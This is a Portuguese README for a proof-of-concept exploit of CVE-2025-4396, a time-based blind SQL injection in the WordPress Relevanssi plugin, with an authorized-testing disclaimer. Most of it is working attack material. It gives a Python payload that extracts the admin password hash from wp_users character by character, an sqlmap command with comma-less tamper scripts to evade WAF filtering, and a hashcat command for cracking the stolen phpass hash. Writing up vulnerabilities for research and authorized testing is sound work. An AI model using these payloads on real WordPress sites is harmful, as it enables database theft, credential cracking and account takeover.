
CVE-2025-4396 - Injeção SQL cega baseada em tempo no WordPress Relevanssi
Aviso: Este repositório é destinado exclusivamente para testes de penetração autorizados, pesquisa em segurança e fins educacionais. O acesso não autorizado a sistemas de computadores é ilegal e antiético.
Um exploit de prova de conceito para uma vulnerabilidade de injeção SQL cega baseada em tempo no plugin Relevanssi 4.24.4 do WordPress. Esta implementação aborda especificamente ambientes protegidos onde:
SUBSTR(str, pos, len) e IF(cond, true, false)SLEEP() antes de avaliar a expressão completa, gerando falsos positivosEm certos ambientes (por exemplo, o laboratório DVWP), as cargas úteis padrão de injeção SQL falham por dois motivos principais:
| Problema | Efeito |
|---|---|
| Remoção de vírgulas | Quebra SUBSTR(str, pos, len) e IF(cond, true, false) |
SLEEP() ganancioso | O MySQL avalia o sono antes da expressão booleana completa, causando falsos positivos |
Ambos os problemas exigem soluções específicas — abordadas pelas abordagens manual e automatizada abaixo.
asy.py)Um script Python assíncrono que permite a extração cirúrgica caractere por caractere. Evita a sobrecarga de ferramentas automatizadas e contorna a filtragem de vírgulas através da lógica CASE WHEN.
| Recurso | Implementação |
|---|---|
| I/O Assíncrono | aiohttp para requisições não bloqueantes |
| Cargas sem vírgulas | Sintaxe SUBSTR(str FROM pos FOR len) |
| Lógica não gananciosa | CASE WHEN garante que SLEEP() seja acionado apenas em TRUE |
# Carga útil baseada em tempo usando CASE WHEN e sem vírgulas
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Por que CASE WHEN em vez de IF()?
IF() usa vírgulas e está sujeito a avaliação gananciosa. CASE WHEN avalia de forma preguiçosa, garantindo que SLEEP() seja acionado apenas quando a condição é verdadeiramente TRUE.
O SQLMap pode automatizar a descoberta neste ambiente usando scripts tamper e flags específicos.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Flag | Propósito |
|---|---|
--tamper=commalessmid,if2case | Reescreve as cargas úteis em SQL sem vírgulas; substitui IF() por CASE WHEN |
--tamper=between | Substitui comparações > por BETWEEN para desvio adicional de WAF |
--technique=T | Restringe à injeção cega baseada em tempo apenas |
--no-cast | Impede wrappers CAST() que introduzem vírgulas proibidas |
--threads=1 | Garante precisão na temporização — requisições concorrentes causam sobreposição de atrasos de sono |
Nota sobre
--threads=1: Isso é essencial para extração confiável. Múltiplas threads fazem com que os atrasos de sono se sobreponham, corrompendo a temporização da busca binária e produzindo saída distorcida.
| Campo | Valor |
|---|---|
| Alvo | Tabela wp_users do WordPress |
| Usuário | admin (ID = 1) |
| Hash Extraído | REDACTED |
| Algoritmo | phpass (hash de senha padrão do WordPress) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 visa hashes phpass-a 0 é um ataque de dicionário direto usando rockyou.txt